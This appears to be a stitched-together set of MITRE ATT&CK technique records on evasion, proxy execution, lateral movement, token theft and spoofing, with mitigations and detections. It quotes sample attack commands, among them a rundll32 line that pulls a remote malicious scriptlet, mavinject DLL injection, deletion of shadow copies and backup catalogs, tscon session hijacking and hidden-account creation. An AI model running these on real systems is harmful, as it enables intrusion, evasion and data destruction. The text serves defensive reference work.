Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Access Management**: Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provide sufficient capabilities to support user identification and authentication. These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials.\n\n**Detection strategies and analytics.** - **Detection of Execution through API**\n  - Real-time monitoring identifies an unrecognized process on an ICS Linux host loading an ICS/vendor shared library that is normally restricted to approved control or engineering applications.

Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter.\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality. Many languages support built-in obfuscation in the form of base64 or URL encoding. Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).\n\nTools such as `Invoke-Obfuscation` and `Invoke-DOSfucation` have also been used to obfuscate commands.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

[…]\n\n## Reference: ATT&CK T1027.011 Fileless Storage\n**ATT&CK T1027.011 Fileless Storage (full record).** Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository. Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk..\n\nSimilar to fileless in-memory behaviors such as Reflective Code Loading and Process Injection, fileless data storage may remain undetected by antivirus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of Persistence) and collected data not yet exfiltrated from the victim (e.g., Local Data Staging). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.\n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., Malicious File), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by Command and Scripting Interpreter/System Binary Proxy Execution arguments within the target path field of the LNK.\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats.\n- **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. […]\n\n## Reference: ATT&CK T1027.013 Encrypted/Encoded File\n**ATT&CK T1027.013 Encrypted/Encoded File (full record).** Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files. Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution).\n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic (DNS). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.\n\n## Reference: ATT&CK T1521.003 SSL Pinning\n**ATT&CK T1521.003 SSL Pinning (full record).** Adversaries may use SSL Pinning to protect the C2 traffic from being intercepted and analyzed.\n\nSSL Pinning is a technique commonly utilized by legitimate websites to ensure that encrypted communications are only allowed with a pre-defined certificate. If another certificate is presented, it could indicate device compromise, traffic interception, or another upstream issue. While benign usages are common, it is also possible for adversaries to abuse this technology to protect malicious C2 traffic.\n\nIn normal, not pinned SSL validation, when a client connects to a server using HTTPS, it typically checks whether the server’s SSL/TLS certificate is signed by a trusted Certificate Authority (CA) in the device’s trust store. If the certificate is valid and signed by a trusted CA, the connection is established. However, with SSL Pinning, the client is configured to trust a specific SSL/TLS certificate or public key, rather than relying on the device’s trust store. This means that even if the server’s certificate is signed by a trusted CA, the client will only establish the connection of the certificate or key is pinned.\n\nThere are two types of SSL Pinning:\n\n1. Certificate Pinning: The client stores a copy of the server’s certificate and compares it with the certificate received during the SSL handshake. If the certificates match, then the client proceeds with the connection. This approach also works with self-signed certificates.\n\n2. Public Key Pinning: Instead of pinning the entire certificate, the client pins just the public key extracted from the certificate. This is often more flexible, as it allows the server to renew its certificate without having to update the pinned certificate or breaking the SSL connection.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Android, iOS\n- Sub-technique of: T1521 Encrypted Channel - Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors. […]\n\n## Reference: ATT&CK T1525 Implant Internal Image\n**ATT&CK T1525 Implant Internal Image (full record).** Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike Upload Malware, this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.\n\nA tool has been developed to facilitate planting backdoors in cloud container images. If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a Web Shell.\n\n**Classification.** - Tactics: persistence\n- Platforms: IaaS, Containers\n\n**Mitigations.** - **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. […]\n\n## Reference: ATT&CK T1528 Steal Application Access Token\n**ATT&CK T1528 Steal Application Access Token (full record).** Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands.\n\nSimilarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.\n\nIn Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.\n\nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. […]\n\n## Reference: ATT&CK T1530 Data from Cloud Storage\n**ATT&CK T1530 Data from Cloud Storage (full record).** Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform.\n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the Cloud API. In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., Data from Information Repositories).\n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem. There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.\n\n**Classification.** - Tactics: collection\n- Platforms: IaaS, Office Suite, SaaS\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. […]\n\n## Reference: ATT&CK T1535 Unused/Unsupported Cloud Regions\n**ATT&CK T1535 Unused/Unsupported Cloud Regions (full record).** Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.\n\n**Classification.** - Tactics: stealth\n- Platforms: IaaS\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection of Adversary Use of Unused or Unsupported Cloud Regions (IaaS)**\n  - Detects creation of cloud instances, services, or resources in normally unused or unsupported regions, especially following initial account access or credential use from known regions. Correlates resource provisioning across regions with absence of historical usage and alerting from standard logging services (e.g., GuardDuty not enabled in that region).

Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.

Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}`).\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a.cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write;GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"` This behavior has been seen used by malware such as Poweliks.\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., `zipfldr.dll, ieframe.dll`) with `rundll32.exe` to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command `rundll32.exe ExampleDLL.dll, ExampleFunction`, rundll32.exe would first attempt to execute `ExampleFunctionW`, or failing that `ExampleFunctionA`, before loading `ExampleFunction`). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending `W` and/or `A` to harmless ones. […]\n\n## Reference: ATT&CK T1218.012 Verclsid\n**ATT&CK T1218.012 Verclsid (full record).** Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running `verclsid.exe /S /C {CLSID}`, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK T1218.013 Mavinject\n**ATT&CK T1218.013 Mavinject (full record).** Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. `C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL`). Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.\n\nIn addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its `/HMODULE` command-line parameter (ex. `mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER`). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries.

[…]\n\n## Reference: ATT&CK T1218.014 MMC\n**ATT&CK T1218.014 MMC (full record).** Adversaries may abuse mmc.exe to proxy execution of malicious.msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt. MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created.msc files to manage system configuration.\n\nFor example, `mmc C:\\Users\\foo\\admintools.msc /a` will open a custom, saved console msc file in author mode. Another common example is `mmc gpedit.msc`, which will open the Group Policy Editor application window.\n\nAdversaries may use MMC commands to perform malicious tasks. For example, `mmc wbadmin.msc delete catalog -quiet` deletes the backup catalog on the system (i.e. Inhibit System Recovery) without prompts to the user (Note: `wbadmin.msc` may only be present by default on Windows Server operating systems).\n\nAdversaries may also abuse MMC to execute malicious.msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object. Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey. Once the.msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: `mmc.exe -Embedding C:\\path\\to\\test.msc`.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries.

In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be `apple.awt.UIElement`, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is `powershell.exe -WindowStyle Hidden`.\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.\n\nIn addition, Windows supports the `CreateDesktop` API that can create a hidden desktop window with its own corresponding `explorer.exe` process. All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session, will be invisible to other desktops windows.\n\nAdversaries may also leverage cmd.exe as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe, to hide windows.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.

A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.\n\nThreat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `<MappedFolder>` property supports the creation of a shared folder, while the `<LogonCommand>` property allows the specification of a payload.\n\nIn VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., RC Scripts) will cause the VM to persistently restart. Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.\n\n**Classification.** - Tactics: stealth\n- Platforms: ESXi, Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.

It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.\n\nSSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, macOS\n- Sub-technique of: T1563 Remote Service Session Hijacking - Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Password Policies**: Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. […]\n\n## Reference: ATT&CK T1563.002 RDP Hijacking\n**ATT&CK T1563.002 RDP Hijacking (full record).** Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user. This can be done remotely or locally and with active or disconnected sessions. It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1563 Remote Service Session Hijacking - Adversaries may take control of preexisting sessions with remote services to move laterally in an environment.

This can include employing technologies like network concentrators, RDP gateways, and zero-trust network access (ZTNA) models, alongside hardening services and protocols. This mitigation can be implemented through the following measures:\n- **Network Segmentation**: Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications.

Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.\n\n**Classification.** - Tactics: stealth\n- Platforms: ESXi, Linux, macOS, Office Suite, Windows\n\n**Sub-techniques.** - T1564.003 Hidden Window: Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\n- T1564.011 Ignore Process Interrupts: Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals.

Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.\n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value `Hide500Users` to `TRUE` in the `/Library/Preferences/com.apple.loginwindow` plist file. Every user has a userID associated with it. When the `Hide500Users` key value is set to `TRUE`, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the `dscl` utility to create hidden user accounts by setting the `IsHidden` attribute to `1`. Adversaries can also hide a user’s home folder by changing the `chflags` to hidden.\n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList` Registry key value to `0` for a specific user to prevent that user from being listed on the logon screen.\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the `gsettings` command (ex: `sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true`). Display Managers are not anchored to specific distributions and may be changed by a user or adversary. […]"}]}

Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting.\n\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices.\n\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.\n\nCompromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\n\n## Reference: ATT&CK T1684.002 Email Spoofing\n**ATT&CK T1684.002 Email Spoofing (full record).** Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses. In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity.\n\nEnterprise environments can use Domain-based Message Authentication, Reporting, and Conformance (DMARC) as an email authentication protocol that references results of the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) configurations. SPF and DKIM are configured separately in DNS: SPF verifies that the sending server is authorized for the domain, while DKIM uses a digital signature to verify email integrity and domain authentication. Together, they validate email authenticity and specify how receiving servers should handle authentication failures. Without enforced identity authentication, adversaries may compromise the integrity of an authentication check with altered headers that would not have otherwise passed.\n\nAn example of a weak or absent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none`. The `p=none` indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim’s inbox.\n\nAdversaries have abused weak or absent DMARC policies to circumvent authentication checks and conceal social engineering attempts. Adversaries can alter email headers to include legitimate domain names with fake usernames or impersonate legitimate users via Impersonation for Phishing. Additionally, adversaries may abuse Microsoft 365’s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication. […]\n\n## Reference: ATT&CK T1685 Disable or Modify Tools\n**ATT&CK T1685 Disable or Modify Tools (full record).** Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities. This may include stopping specific services, killing processes, modifying or deleting tool configuration files and Registry keys, or preventing tools from updating. This may also include impairing defenses more broadly by disrupting preventative, detection, and response mechanisms across host, network, and cloud environments.\n\nIn addition to directly targeting tools, adversaries may block or manipulate indicators and telemetry used for detection. This includes maliciously disabling or redirecting sensors such as Event Tracing for Windows (ETW), modifying event log configurations (e.g., redirecting Security logs), or interfering with 